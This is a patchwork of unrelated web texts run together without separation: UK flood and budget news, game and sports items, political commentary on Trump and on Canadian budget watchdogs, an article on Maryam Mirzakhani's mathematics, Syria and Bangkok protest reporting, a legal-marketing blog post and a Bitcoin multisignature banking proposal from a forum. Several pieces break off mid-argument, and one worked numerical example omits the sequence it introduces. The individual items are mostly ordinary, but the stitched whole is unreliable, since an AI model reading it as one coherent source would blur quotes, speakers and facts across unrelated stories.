However, makeshift flood defences were set up around the River Dee in Ballater, Aberdeenshire, one of the areas worst affected, and residents piled sandbags next to their homes.
The agency was also monitoring communities in the Borders and Caithness and predicted that coastal parts of north-east Scotland could experience waves of up to 30ft – taller than two double-decker buses.
Opposition parties yesterday argued it would be perverse for Mr Swinney to press ahead with cutting Sepa’s 2016/17 budget from £39 million to £36.6 million.
But the Deputy First Minister told Sky News’s Murnaghan programme the agency had a “broad range of responsibilities and the budget includes funding for flood forecasting and “a variety of flood protection and flood alleviation schemes which we have sustained since we came to office in 2007.”
He said: “Flooding and the implications of flooding are very serious for individuals and the Government is committed to doing all that we can to support communities in withstanding these challenges."
Mr Swinney said capital funding had been put in place for flood prevention schemes across Scotland, including in Edinburgh, Elgin, Selkirk and Galashiels and his spending plans included £4 million for councils hit by an earlier wave of floods.
Photo: PA
But Sarah Boyack Scottish Labour's environmental justice spokeswoman, called for an "urgent review" of flood defences in Scotland's 32 local authority areas.
She said: "When the SNP removed direct support for flooding I argued against it but they went ahead anyway. I know from Edinburgh's experience that our flood scheme works were delayed and then split into different phases as the council struggled to find the money upfront for all the works.
"Given that we know there is more bad weather on the way the SNP need to think again about the proposal to cut Sepa's budget.”
Vincent Fitzsimons, Sepa's hydrology duty manager, said the main cause of concern was river levels in the North East. He said: "Rivers have been rising since Saturday and flood warnings have been issued. It's important to note that the rain is less intense but more prolonged than during Storm Frank.
Late last year, game developer Atlus revealed that Yakuza 0 and Persona 5 would not make it to the Nintendo Switch. No doubt a disappointment to fans of Nintendo and the developer. But it seems they have something else special in the works. Their next game, revealed during the Nintendo Switch Presentation, came in the form of a tease. And this is a really strong tease. Shin Megami Tensei is coming to the Nintendo Switch:
So we’re getting a Shin Megami Tensei in HD, powered by Unreal Engine. While the game is obviously arriving in Japan for the Nintendo Switch, a western release is unknown. Nevertheless, Atlus wanted to broadcast this reveal to all Nintendo and Shin Megami Tensei fans, perhaps hoping it will build support abroad.
So far, Atlus has not yet revealed an official title for this installment of the RPG series. But we expect much more from them in the Nintendo Switch days to come. Right now you can bookmark the game’s official website by clicking here.
Nintendo Switch is hitting store shelves March 3rd of this year, with a retail price set at $299.Watch for those pre-orders, and Keep an eye out for more of the latest gaming news with COGconnected. Happy gaming.
By any objective measure, this candidate would be considered bigoted.
But when it comes to Donald Trump, the candidate who's said and called for all these things, much of the media does not refer to him as a bigot — instead using euphemisms to describe him, as Media Matters noted in a recent video. Trump says something prejudiced? It's "controversial." Trump wants to ban an entire minority group (Muslims) from the US? He's "tough" on national security. He insults Mexicans? He's "tough" on immigration. And so on.
In the above video, Media Matters' Carlos Maza explains why the "controversial" moniker is particularly problematic: "Calling something controversial just means people disagree about it, which is a really unhelpful and misleading way of talking about bigotry. It puts racism and Islamophobia on the same level as any routine policy disagreement."
But our language matters. It's one way we reinforce our cultural norms and morals. So when the media lets Trump whitewash prejudiced views as genuine disagreement, that reinforces the idea that a racist or sexist view is simply a different idea, not something that we shouldn't tolerate as a society.
That could help a racist like Trump win the election, since it lets him act like he's not extreme. As Washington Post reporter Dave Weigel put it on Twitter, "The both-sides-do-it nature of the media is probably going to help Trump."
Beyond Trump, all of this signals to other political candidates that those views are just fine in America. And that can help normalize dangerous ideas.
Consider Trump's proposal to ban all Muslims from entering the US: A few years ago, nothing like it — a ban on an entire religious group — would break into the political mainstream. Today? It's an idea that pundits regularly discuss, and pollsters routinely ask Americans about, all because Trump proposed it. It's become a mainstream policy position.
One of the most dangerous things about Trump is mainstreaming ideas like this. pic.twitter.com/LRhcLehziB — Evan Hill (@evanchill) March 16, 2016
Maryam Mirzakhani died Saturday at age 40. Jordan Ellenberg lauded Mirzakhani in this 2014 article:
The big news out of the International Congress of Mathematicians, currently taking place in Seoul, South Korea, is that Maryam Mirzakhani was awarded a Fields Medal, becoming the first woman to receive math’s highest honor.
Mirzakhani’s win also speaks to another cultural change in mathematics. Her research area, dynamics, is an infant compared to the other major branches of math. Number theory, geometry, and analysis have histories measured in centuries. Dynamics—the abstract theory of motion and change over time—is only a little more than 100 years old. And its modern form really only got going in the 1950s.
If you take the Fields Medals as a rough guide to what the math community considers important, dynamics has lately been occupying an outsize role. Two of the four medalists this year are dynamicists: Mirzakhani, a professor at Stanford University, and Artur Avila, at the Brazilian research institute IMPA. A third, Martin Hairer, of the University of Warwick, has at least one foot in the subject. (Manjul Bhargava, of Princeton University, a number theorist who turned out some theorems that would have tickled Carl Friedrich Gauss, held the fort for the classical precincts of math.)
Dynamics, in its original formulation, arises from celestial mechanics. Here’s how the universe works, basically: You have a bunch of bodies positioned somewhere in space, and then gravity does what it does. One simple rule—bodies attract one another with a force proportional to their mass and inversely proportional to the square of the distance between them—determines the behavior of the system over all future time.
Start with a simple universe consisting only of two bodies, and the dynamics are easy: The bodies either orbit each other along stable elliptical paths, or they fly hyperbolically apart. Put in a third object, though, and all celestial hell breaks loose. This “three-body problem” was the one that vexed Henri Poincaré, who found that the dynamics of three objects in space (let alone the uncounted billions of hunks of mass making up the rest of the universe) are not described by any simple formula, despite the simplicity of the physical laws that govern them.
That’s only the beginning of dynamics, whose orbit (see what I did there?) now includes essentially any system whose behavior over time is controlled by a simple rule. The system could be a set of billiard balls on a table; the only rules are that a ball in motion tends to remain in motion in the same direction at the same speed, unless it encounters another ball or a wall, in which case it reflects. No friction, no spin, no nothing; and yet billiards displays the same richness and complexity as does the motion of the heavenly bodies.
Mathematicians care about this stuff not so much because we like sharking at the pool hall, but because billiards on a flat table (even more so if the table is three-dimensional) is a pretty decent model for the physics of a gas, each molecule a tiny hard ball whizzing around and bouncing off its fellows. The individual molecular billiards obey Newton’s laws of motion, so in principle we should be able to derive from scratch the way that gases behave. But we just can’t. Not yet. The dynamics are just too complicated. Even the case of one billiard—a gas with one molecule—is hard! (The analysis of one such one-billiard system is one of the remarkable results of Yakov Sinai, a dynamicist who won the $1 million Abel Prize this year.)
Dynamics doesn’t just apply to systems coming from the physical world. Instead of a configuration of billiard balls on a table, your system might be a number between 0 and 1. And the rule for evolution in time is even simpler than the physical ones: With each tick of the clock, you multiply your number by 2, and if what you get is bigger than 1, you subtract 1 to keep yourself within the desired range. Say you start with 0.2. Then the system develops like this:
And we’re right back where we started; the dynamics are periodic, tracing out the same path again and again like two bodies orbiting each other in an ellipse. But if you start with an irrational number, the process never repeats itself. The dynamics of the system recognize the arithmetic distinction between rational and irrational numbers! Elon Lindenstrauss of Hebrew University won a Fields in 2010 for dynamics of this kind, which has infiltrated the grand old temple of number theory, much to the classicists’ surprise. In fact, there’s hardly any part of math that hasn’t been injected with dynamics.
This brings us back to Mirzakhani, whose work expertly blends dynamics with geometry. Among other things, she studies billiards. But now, in a move very characteristic of modern mathematics, it gets kind of meta: She considers not just one billiard table, but the universe of all possible billiard tables. And the kind of dynamics she studies doesn’t directly concern the motion of the billiards on the table, but instead a transformation of the billiard table itself, which is changing its shape in a rule-governed way; if you like, the table itself moves like a strange planet around the universe of all possible tables.
It has cautioned that military strikes against Syria would create even more refugees.
"All the more, politicians share our estimation that a military solution will lead to an outburst of terrorism both in Syria and in neighbouring countries," Sergey Lavrov, Russia's foreign minister, said on Monday after talks with his Syrian counterpart Walid al-Muallem.
Lavrov said Russia "cannot not be worried by the fate of Russians living in Syria whose health and life might be put at risk".
"The possibility for a political solution remains," he said, emphasising that Muallem had assured him at the talks in Moscow that Syria was still "ready for peace talks".
Russia and the US agreed in May to organise a peace conference in the Swiss city of Geneva, bringing all sides to the negotiating table but it has not happened amid continued US-Russian tensions.
"We are truly ready to take part in the Geneva conference without preconditions," Muallem said.
He earlier thanked Russia for its support as Syria's prinicpal ally.
"We are also ready for dialogue with all political forces who favour re-establishing peace in our country," he said. But he warned that the position would change if military strikes took place.
Shortly after the Moscow press conference ended, John Kerry, the US secretary of state, said in London with his British counterpart William Hague in which they reiterated that Assad was responsible for the chemical weapons attack at the centre of the current crisis.
Kerry said Assad could resolve the impasse surrounding the attack simply by turning over "every single bit" of his weapons stock to the international community within a week.
But Kerry said he thinks Assad "isn't about to do that".
Kerry's rejoinder
Kerry was also asked on Monday about comments Assad made to US journalist Charlie Rose in which Assad said there was no conclusive evidence about who is to blame for the chemical weapons attack.
Asked about Assad's denial, Kerry said, "I just gave you real evidence. ... We know that his regime gave orders to prepare for a chemical attack. We know they deployed forces."
Kerry also said on Monday that the control of chemical weapons in Syria was limited to President Assad, his brother Maher and an unnamed general.
"But under any circumstances, the Assad regime is the Assad regime and the regime issues orders and we have high level regime [members] that have been caught giving these instructions and engaging in these preparations," he said.
Who, save the malignant Stephen Harper, could want to hamper anyone doing important work to help Canadians, or deny them respect?
Search “watchdog” in any media outlet any day and you are likely to find a story or two. There are scores of them in Ottawa and in the provincial capitals, their every press release promptly published in the media and reverently commented on.
Some have real work to do, like the chief electoral officer, who has to manage all the details of elections. Others, like the parliamentary budget officer (PBO), have no work to do but, in his case, to critique the government’s spending plans.
They all think they haven’t enough. No watchdog has ever suggested that he or she could get by with a little less
They are all legally independent of the general bureaucracy under government direction and have millions of taxpayers’ dollars at their disposal. Whether their funding is proper, too little or too much, is something we might consider. They all think they haven’t enough. No watchdog has ever suggested that he or she could get by with a little less.
Nor has any ever suggested that their purview or powers might be curtailed.
What distinguishes watchdogs from the rest of government officials is their official righteousness. While politicians are just politicians, and we know what they’re like, and bureaucrats are bureaucrats, either doing politicians’ will or empire building for the shear fun of it, watchdogs are a special class whose job is simply to stand up for what’s right, in their respective fields. The whole point of their existence is that they must be righteous.
But you cannot make people righteous by appointment and the attempt to do so, and the assumption that you can, is itself corrupting.
People of the finest character would understand that official righteousness is humanly impossible and decline appointment. But there has been no shortage of previously unheard of people to take up the well-paid and prestigious work of official righteousness.
The parliamentary budget officer, as near the purest watchdog, is a good example.
This sixth wheel, though sadly adopted in other parliamentary democracies, like the United Kingdom, where there is an Office for Budget Responsibility, is modelled on the Congressional Budget Office (CBO) in Washington. The United States needs a CBO because there Congress can spend money whether the government wants to or not and somebody has to look at the budgetary consequences. In parliamentary democracies, no money can be spent except on the government’s initiative. And it has to present a budget and Parliament has to approve it.
Of course governments have a temptation to make rosy budgetary predictions. The most striking recent example was in Ontario in 2003, when the Eves government’s budget projected a slight surplus. The banks, think tanks and so on predicted a $4-billion deficit. Dalton McGuinty, on taking power, professed to be “Shocked! Shocked!” and took it as an excuse to break his promise not to raise taxes. But it needed no PBO to see the truth in Ontario in 2003.
Once established, the PBO had to prove his independence and righteousness by regularly criticizing the government’s budgets
Budgetary prediction is a matter of economic assumptions and theories and ideological biases. We do much better from the free flow of non-governmental predictions that got Ontario right in 2003 than we can hope to from the officially right PBO. By late 2011 Jim Flaherty’s Finance Department was more accurate nine times out of fifteen in deficit predictions than Kevin Page, the first PBO after the Harper government created the silly office in 2006.
Once established, the PBO had to prove his independence and righteousness by regularly criticizing the government’s budgets. And, naturally, the government didn’t like being criticized. But when it tried to defend itself, it was condemned for harassing the PBO.
It is time we stood back and took a critical look at all the watchdogs. Those that have real work to do should be watched closely by Parliament, the media and the public to see that they are doing it right. Where they are only officially righteous critics of the government, they can be dispensed with, or at least given no more deference than we give politicians and bureaucrats. The lazy respect the media and opposition politicians grant watchdogs distracts and degrades public debate.
Unlike the Congressional Budget Office in Washington, the PBO does not critique the spending plans of the opposition. If a congressman presents a spending bill, the CBO runs it through its computers and makes a report. What would the PBO make of Trudeau saying his policies are “properly funded”
A man with a gambling addiction has been jailed for taking £48,000 from Olympic gold medallist Greg Rutherford.
Gaby Stone, 34, from Edgware Road, north-west London, managed the long jumper's appearances, merchandise and sponsorship contracts for a 20% cut.
He claimed to have lost the athlete's money in a bad investment but in reality kept it for himself, Blackfriars Crown Court heard.
The 34-year-old was jailed for 18 months at Blackfriars Crown Court.
Stone used the funds to fuel his gambling addiction and admitted fraud by abuse of position during the time he was Mr Rutherford's manager from October 2014 to March 2015.
The court heard Rutherford, who won gold at London 2012 and bronze in Rio 2016 and also competed in Strictly Come Dancing in 2016, had been placed under "severe financial pressure" while training as a result of Stone's fraud.
Mr Rutherford said he felt "sick" upon learning of his former manager's deceit.
Image copyright Getty Images Image caption Greg Rutherford, who is originally from Milton Keynes, won gold at London 2012 and bronze at Rio 2016 in the long jump
He and his family had also been concerned they would face income tax on money they had not received, thanks to Stone.
Judge John Hillen QC said: "The thought that someone who had responsibility for a large part of his [Greg Rutherford's] life and work, someone who he had placed trust in, had in fact been dishonest, left him feeling sick".
Julia Flanagan, defending, said Stone was "remorseful" and reflected on the impact of his actions daily.
It was initially thought Stone had deprived Mr Rutherford, a 2015 BBC Sports Personality of the Year contender, of £62,800 but accountants have since revised this down to £48,488, which Stone has repaid in full.
- WWE's website is currently featuring Vince McMahon's emotional address and all matches from the September 13, 2001 SmackDown episode - the largest public assembly of its size since the 9/11 terrorist attacks just two days earlier.
- Booker T declared on last night's RAW that if Sheamus chooses to use the banned Brogue Kick until Booker's investigation is completed, then he will be stripped of the World Heavyweight Title. WWE.com spoke to Sheamus after RAW. Sheamus talked about how unfair the ruling was and brought up how much damage Alberto Del Rio's cross armbreaker has done.
The toddler’s neck was grazed by a bullet, during the gunfire in the 5400 block of the avenue, said Lt. Sean Conboy, a police spokesman. Conboy said the small boy was inside a business when a bullet came through the window.
The man was outside the store when hit in a leg, police said. His wounds were also said to be not life-threatening.
It was not clear whether either was a target of the gunfire, which broke out about 10:25 p.m. Multiple shots were fired, police said.
No information was immediately available about who fired the shots.
How many parents have spent countless hours playing Candy Land or Barbies with their kids?
Chris Harden and Jeremy Scheinberg are two dads from Alabama and Florida who grew tired of their children’s toys. The two felt their children weren’t getting much out of playing mindless games, which is why they decided to create a toy that helps kids get a head start on science, technology, engineering and math (STEM) learning.
In less than a week, the pair will crowdfund a campaign on Kickstarter.com for their answer to more STEM-focused toys. TROBO, which connects to an iPad or iPhone app, is a plush toy robot that tells stories of STEM-focused topics to children ages 2 to 7, the Anniston Star reports.
TROBO features two characters: Curie, named for physicist and chemist Marie Curie and Edison, (a shout out to inventor Thomas Edison), both representing STEM heroes. TROBO plans to release more characters if the Kickstarter campaign is successful.
Harden previously served as a Development Director of EA Sports, overseeing the creation of user interface technologies for games like Madden NFL and NCAA Football. Scheinberg was the COO of media manufacturer Alcorn McBride and has worked extensively on rides and shows for NBC, Universal, Lego and Disney.
“It defines us as individuals, and we want to share that to our children as early as we can,” Harden says, referring to STEM education.
While the entry point at which children should begin STEM education remains a point of contention, some advocates argue the earlier the better. In fact, only 16 percent of American high school seniors are considering a career in the STEM fields and are proficient in math, according to the U.S. Department of Education.
“As a society, we have to celebrate outstanding work by young people in science at least as much as we do Super Bowl winners,” President Barack Obama said earlier this year at the White House Science Fair. “Because superstar biologists and engineers and rocket scientists and robot builders, they don’t always get the attention that they deserve, but they’re what’s going to transform our society.”
Beginning with something as simple as a stuffed robot regaling children with STEM stories sounds like a good place to start.
The Premier League champions plucked players like N’Golo Kante and Riyah Mahrez from relative obscurity in France, the Arsenal Chief Executive has highlighted that as a potential market for Arsenal.
Speaking to ESPN, he said, “Leicester identified players from the French second division, so maybe there’s talent that we’ve been overlooking. They did their talent identification well, they had great unity within the group, as well as quality.
“It wasn’t built on money. It was built on the great fitness work they did. It was built on all of these other elements. I think that’s going to be a continuing trend within the Premier League.”
Arsenal have spent £35m on Granit Xhaka, but the Swiss international remains the only signing of note so far this summer.
Gazidis, despite the fact that Arsenal have more cash at hand than any other club in world football, and are flush like everyone else with an outrageous amount of TV money, still played down the club’s spending power.
“We’re making progress in what is a fiercely competitive world, against competitors that have the capability to spend far more money than we do,” he said.
“We’re doing it by being very, very disciplined; spending money where we believe it makes a difference, but also giving young players a chance and believing in ourselves and our values.”
Is that a sign that the club aren’t willing to use the money they have to sign players to make the team truly competitive? It may just be playing it down as we try and act in the market, but seasoned Arsenal watchers will be somewhat worried.
Still, don’t worry, the fact that the Premier League is more competitive now is a bonus for us because that means you can get away without massive spending. At least it seems like that’s the implication when he talks about how more teams than ever are potential title contenders.
“I think it’s fantastic news for the Premier League, I think it’s fantastic news for fans of football,” he said.
“And I think it’s good news for fans of Arsenal because I think the keys to success will be how well you do things, and not just about financial firepower.”
Is there a ‘deep sigh’ emoji? Because I really want to use that now.
The comparison to XCOM and DOTA is pretty accurate, so if you think DOTA is too fast, or you’d like to team up and play XCOM against other people, then give this a shot. It’s a game that rewards you for quickly assessing situations and correctly making decisions, as opposed to clicking quickly around the screen.
I play the game on Free Mode, which means that instead of always being able to play exactly the characters I want, I have to pick from a weekly rotation of characters. This suits me fine as I enjoy trying out different characters and filling roles that the team lacks. If you prefer specialising into 1 particular character, then maybe try the game out on Free Mode first before deciding to buy it – it’s currently £23 to unlock all characters forever, so you can play any of them whenever you want. I’m enjoying Atlas Reactor, I hope you try it and enjoy it too! :)
Michael simply defines Inbound Marketing like this:
“Inbound marketing is the holistic practice of earning traffic, turning that traffic into leads, and turning leads into sales.”
Don’t let all this talk of traffic, leads and sales turn you off. I know we haven’t historically used such in-your-face terms in legal marketing, but the practices behind these words are what are important, and definitely have their place in the marketing of your firm and practice.
LET’S BREAK IT DOWN
Holistic is not a new concept in the legal profession. When representing a client, how do you decide what the best course of action is in order to help, protect or defend your client?
Among other things…
You look at the big picture.
You look in every corner to find the facts necessary to make an informed decision or recommendation.
You ask lots of questions so that you don’t miss anything important to the matter.
In other words, you are looking at your client’s situation holistically, meaning you are taking every factor you can find into consideration in order to recommend the best course of action. You are looking at the entire, or the whole, situation in order to make a proper diagnosis.
A holistic practice of marketing is similar. When you market your practice and your firm, you need to take your whole situation into account in order to decide what the best, most efficient, most strategic plan of action is.
WHAT DOES THIS LOOK LIKE?
A holistic approach to marketing your practice means looking at the entire situation before making any decisions.
[Tweet “”A holistic approach to marketing means looking at the entire situation before making decisions.”]
Among other things, it means we need to look at and answer…
What are your goals for your firm or practice?
Who are your target audiences?
Where do they spend time, both physically and virtually?
What information are they searching for on a daily basis in order to make good decisions?
What is happening in their businesses that is on their minds night and day?
What part of the above can you help with?
What part can others you know help with?
What is their decision-making process?
What information, delivered in order, might be extremely helpful to them?
When would the delivery of this information be helpful to them?
What formats can this information be produced in so that our clients and potential clients can consume it in a way that is easiest for them?
…and so on.
This is a holistic approach to earning leads. They will come when you’ve given them a reason to come, and not a second before.
EARNING TRAFFIC
[Tweet “Leads will come when you’ve given them a reason to come, and not a second before.”]
Earning traffic is next in Michael’s definition of Inbound Marketing above, and it simply means that you have to earn the traffic, or the visitors, to your digital real estate…your website, your blog, your LinkedIn posts, your Facebook Page, your Twitter account, etc. It is rarely true that if you build it, they will just come. You have to help them along a bit.
THEN WHAT?
What you do with your visitors after that is the second half of Hubspot’s definition, which is…
“…turning that traffic into leads, and turning leads into sales.”
We’ll deal with that part next time, okay? For now, I want you to commit to looking at everything you do to market your practice and your firm holistically. It doesn’t matter if you didn’t do a good job of that before now. What does matter is that you have another chance to start planning for growth and service to clients from this much more strategic approach.
I’ll see you here next time to discuss leads and that horrid s word…sales. Don’t worry, we can call it something else if you’d like.
If you’d like to make sure you receive the next and every blog post in your inbox, please subscribe to The Myrland Marketing Minute Blog…thanks!
Iraq's 32 million people are entirely dependent on water flowing down from two great rivers in Turkey, the Euphrates and the Tigris. Where those waterways enter Iraq in the north, ISIS holds key dams and surrounding areas, leaving Shiite-majority southern Iraq vulnerable to the use of water as a strategic weapon.
In April, ISIS seized control of the Fallujah dam and its fighters released a wall of water from behind the barrage, destroying cropland 160 kilometers downstream and leaving millions of people without water in the predominately Shiite cities of Karbala, Najaf and Babil, while flooding areas as far away as Abu Ghraib.
Haditha, along with Mosul dam, provides more than 75 percent of Iraq's electrical power.
The 85 kilometer long lake is Syria's largest and until recently it held more than 14.2 billion cubic meters of water.
A wall of heavily-armed Thai troops closes in on protesters in central Bangkok. more photos »
Two people died Monday during a fight between anti-government protesters and Bangkok residents, Prime Minister Abhisit Vejjajiva said in a televised address.
Earlier, former Prime Minister Thaksin Shinawatra, whose supporters have engaged in escalating clashes with Thai police, reiterated Monday that he is willing to return to his country but would not say when.
"Well, you know I am ready to go when the time is right," Thaksin told CNN. "But now, I like to see peaceful protests by the demonstrators. Actually, you know, they are all innocent people. They come with bare hands; they are asking for true democracy and justice. But they got back undemocratic ways with a lot of brutal suppression." Watch Thaksin denounce government »
Thaksin would not say when he might return. Earlier, he had asked his supporters to "come out for a revolution," saying he would lead them in a march to the capital if necessary.
He fled Bangkok last year while facing trial on corruption charges.
Thaksin spoke to CNN as clashes between protesters and police intensified Monday, the beginning of the Thai New Year.
The army fired a volley of shots at the anti-government protesters, who are demanding that the current prime minister step down. It was not immediately known whether the troops fired rubber bullets or live gunshots. iReport: See images from the protests
Demonstrators commandeered at least two buses, rigged the steering wheels and sent them toward police officers, who fired at the vehicles in response. Other buses were seen burning. Watch more about the situation on the streets »
Earlier in the day, protesters hurled gasoline bombs, blocked intersections and set fires in many parts of Bangkok, the capital. Scores of riot police descended on the streets. At least 70 people -- 23 soldiers and 47 protesters -- were wounded in clashes, some from gunshot wounds, the prime minister said in a televised address. iReport: Numerous buses set ablaze
"The first objective is to clear up the traffic blocks around the city," said Panitan Wattanayagorn, a Thai government spokesman. "The second is to return the government offices and compound back to the officers. Lastly, reduce the threat to the prime minister and his cabinet ministers."
The Thai New Year, or Songkran, began Monday and is traditionally a multi-day celebration in the country. People roam the streets, drenching one another and passers-by with water guns or containers of water.
This year, however, thousands of "red shirt" protesters -- so named for their clothing -- have rallied for days, saying that Abhisit's 4-month-old government is not democratically elected and that he should call new elections.
COLOR CODE RED SHIRTS
United Front for Democracy against Dictatorship
Support
Former Prime Minister Thaksin Shinawatra
Makeup
Mainly from outside the cities and the poor
Demand
More money to combat poverty
YELLOW SHIRTS
The royal color and symbol of the People's Alliance for Democracy
Support
Prime Minister Abhisit Vejjajiva
Makeup
Monarchists, wealthier Thais
Demand
Conservative economics and values and a strong military
The demonstrators have given the prime minister repeated deadlines to resign, but those have come and gone.
"He insists under the circumstances, where there is a lot of deep division in the society ... resigning won't solve any standing conflict," Panitan said.
On Sunday, Abhisit declared a state of emergency in Bangkok and surrounding areas after the protesters forced the postponement of a summit of Asian leaders in the southern coastal city of Pattaya, embarrassing the government.
Protesters took over two gas tanker trucks Monday, slashed the tires of a police van and surrounded the prime minister's office, which seemed devoid of any security presence.
The government, which had appeared unable to order the army or police to use force in tamping down the protests, set up a "center" Monday with the heads of the police, army, air force and navy to coordinate a response, Panitan said.
"We're trying as best as we can to go on with our daily lives, and we are hoping that our prime minister is able to resolve everything peacefully soon," resident Supatra Jenstitwong said.
The protesters are loyal to Thaksin, who was ousted in a 2006 coup. The government has blamed him for fomenting the latest clashes.
"Now that they have tanks on the street and the soldiers are coming out, so it is time for the people to come out for a revolution," Thaksin told supporters, speaking by video link from an unknown location.
Immediately after Abhisit's state-of-emergency declaration, dozens of protesters stormed the country's interior ministry and pelted Abhisit's car with rocks, chairs, flags and sticks as he escaped.
Protesters climbed atop two military armored cars after lying in the road and blocking their path. A police officer was led away by demonstrators and beaten, said Sathit Wongnongtoey, an official in the prime minister's office.
"It's unprecedented," opposition member Jakrapob Penkair said Monday. "I wouldn't say it is a revolution. At least it's a starting point of the people's uprising against the old power."
The emergency measure allows officials to arrest and detain protesters without a court order, and to restrict gatherings, authorities said.
Bruce Bugajski and his brother arrived Sunday night for a four-day trip to Thailand and were driven to their hotel by a cabdriver with a red ribbon on his dashboard, signifying his support for the protesters. The normally congested highways leading into the city were deserted.
"He had a picture of the old prime minister," Bugajski said. "He said that's who he wants to get back to power down here."
Monday morning, the scene outside their hotel was calm, a contrast to the images of clashes blaring from their television screen.
"Kids were outside squirting tourists with their squirt guns, and some of the tourists were getting into it," Bugajski said. "It's quite a different picture."
-- CNN's Dan Rivers and Kocha Olarn in Bangkok and Saeed Ahmed in Atlanta contributed to this report.
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Activity: 88
Merit: 10
MemberActivity: 88Merit: 10 [Idea] The Bitcoin Banking Project December 28, 2013, 04:32:39 AM #1
Hash: SHA1
Idea: The Bitcoin Banking Project
Abstract: The Bitcoin Banking Project (BBP) is an open source bank software
package (client and server) that aims to implement a form of "federated"
banking for Bitcoin. The primary goal is to eliminate as many sources of
errors that cause lost or stolen Bitcoins as possible.
Foundation: BBP is separated into three pieces, the client source code that executes
in a typical web browser, the server that responds to client requests, and the
distributed network application that connects to other banking peers, processes
long-standing requests, etc.
Setup: User logs into a publicly available BBP server -- or downloads and
configures his own -- and is greeted with an easy to use several-step process
that walks the user through creating an account. The process would resemble
something like this:
1. The user is required to enter a password. The password must be
sufficently secure. Typical measures are provided to help the user recover
the password in case of loss. 2-Factor Authentication could be provided if
it were something of interest, though may not be useful due to the nature
of the design of this project.
The users password is hashed in accordance with BIP32 (see my BIP32 stuff
at
master extended private key MASTER_KEY_USER_PW. Perhaps different hashing
mechanisms would be useful to help alleviate brute-force attacks on a user's
password.
Next, the client code then uses secure random number generation to produce
a second key, which forms another master extended private key
MASTER_KEY_CLIENT.
2. The MASTER_KEY_CLIENT is turned into a set of words (like Multibit's 12-word
paper wallet backup) and the user is prompted to print or write the words
onto paper and store them in a safe location.
Other options: BIP38 encrypted private key + QR code can be printed.
Whatever option is used here isn't important, but what's important is
that the user is walked through creating an offline backup of
MASTER_KEY_CLIENT. It must be stressed that this MUST be done. No
exceptions. If the user decides not to create this paper backup, he is
putting his money at risk of accidental loss.
While #2 is happening, the server also uses secure random number generation
to generate a third master extended private key, MASTER_KEY_SERVER. This
key is unique to each user of the system, and it is never shared with the
client frontend.
It's important to note here that neither MASTER_KEY_CLIENT nor
MASTER_KEY_USER_PW are ever seen by the server, and the client never sees
MASTER_KEY_SERVER.
At this point we have three keys. The client will turn the two keys it knows
into master public keys: MASTER_PUB_USER_PW and MASTER_PUB_CLIENT and sends
these keys to the server. The server responds by returning MASTER_PUB_SERVER.
These three public keys form what I call a Master Public Key Package:
Master Public Key Package =
(MASTER_PUB_USER_PW, MASTER_PUB_CLIENT, MASTER_PUB_SERVER)
The client code now completely forgets MASTER_KEY_CLIENT and through the
use of BIP32 (using the same derivation channel on each master public key),
we can now produce a chain of multisignature addresses. BBP will *only* use
2 of 3 multisignature addresses, for every user, for every transaction.
The master public key package is built only of public information, so the
public key package ought to be stored in as many places as possible.
3. The user is walked through the process of creating a backup of the master
public key package in several places: one copy is sent to his email, another
copy is printed out and stored with MASTER_KEY_CLIENT, another copy is stored
on the server's database, and other locations as wanted.
4. The user is brought into his "wallet" home page, where he can make the
typical pay/receive actions related to standard wallet functionality.
Features:
* The server can create new deposit addresses for the user, without the user ever
needing to disclose private keys. If the user is offline or away, yet someone
wishes to send him money, the payer requests from the server, "give me an
address for user XYZ", and the server happy responds with a new address based
on BIP32 key derivation.
* Every transaction occurs in 2 of 3 Multisignature P2SH space and because there are
only two keys required to spend (out of three), we have the following safety net:
1. If the user forgets his password and is unable to recover it, his paper
key backup plus the server key will allow him access to his funds.
2. If the paper key backup is lost or stolen, a new one can be produced and
his funds transfer to a new chain of addresses.
3. If the server goes out of commission for any reason whatsoever (hacked,
taken down, etc.), then the users funds are safe and still accessible
from the paper key backup and his password.
* The server cannot steal the users Bitcoins because the server only has one key
and two are required to spend.
* Transactions are created by the client and partially signed with the correct derived key
before being sent to the server, which then signs and broadcasts the transaction.
* If the advanced user is concerned about trust or privacy, he can download and
configure his own server.
The distributed part:
Along with the above advanced Bitcoin features, the BBP should also implement
CoinJoin (see
every transaction.
This means it makes sense to have a daemon process running alongside the server
that connects to other nodes in the BBP network. This network is where CoinJoin
transactions can be discovered and built. A paranoid user would configure Tor
and the BBP will happily proxy through that.
A message is broadcast to the network declaring "I want to pay XYZ to ABC.
Contact me." whenever a user wishes to spend. Meanwhile, all the nodes in the
network are building a collection of who wants to pay what. When a server is
ready to broadcast a transaction, he searches his list of 'who wants to pay
what' and starts directly talking to those machines, building a CoinJoin
transaction and signing along the way. This means that a user's transaction
will take longer to be sent, but with the benefit that it helps anonymize
his activity in the network. Chaum-blind signatures could be used to further
anonymize behavior.
Perhaps obviously, because the BBP server can be used by multiple users, a
CoinJoin transaction can be built using only the transactions being executed
within the same server.
The daemon should also connect to the Bitcoin network to monitor transactions
and new blocks. A new server doesn't need to download the entire blockchain
because there's no need to have the current UTXO set. The server could start
with downloading headers-only up until "today" and then download full blocks
after that point, storing only the relevant transactions to users within the
server's database and discarding the rest of the block.
Other thoughts:
* Monetizaiton wouldn't be too hard: be the first player in the game with
a notable domain name and the average user will use your site. Ad revenue
seems like the most common sense source.
* Using a public-key signature scheme, two separate servers could arrange
addresses for users through the distributed network and you could theoretically
implement a system that allows you to send money using an E-mail address
as the recipient:
User A on server S wants to send User B on server T some money. User A
builds a BBP-specific transaction that sends money to "B@T". The daemon
on server S queries the network with "I need an address for B@T." If
T sees the message, T responds with an address for B and a signature
proving the address really belongs to B.
Care would have to be taken in determining the right signature scheme for
this to work.
* The daemon + server + client could be packaged into a single executable. User
downloads the program, runs it, and connects to
* Someone could pre-package server + client + daemon onto an embedded system or
Raspberry Pi-like device, and sell it as an all-in-one wallet solution.
* Derived accounts:
Support you're BigBussinessAccount on a server, and you want to give
AccountingAccount an account of their own using company funds. You could
derive a set of private keys from the master public key package and create a
new user account based on these derived private keys. BigBusinessAccount can
see and spend AccountingAccount's funds, but not the other way around.
* Account info in the cloud:
A scheme could be devised so that user account information is stored all
in the Bitcoin or Namecoin blockchain, thus making the server completely
neutral. A user could log into *any* BBP server so that if a server ever
goes offline, a user can access his account on any other server trivially.
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At least, compared to how it looked in the more recent aftermath.
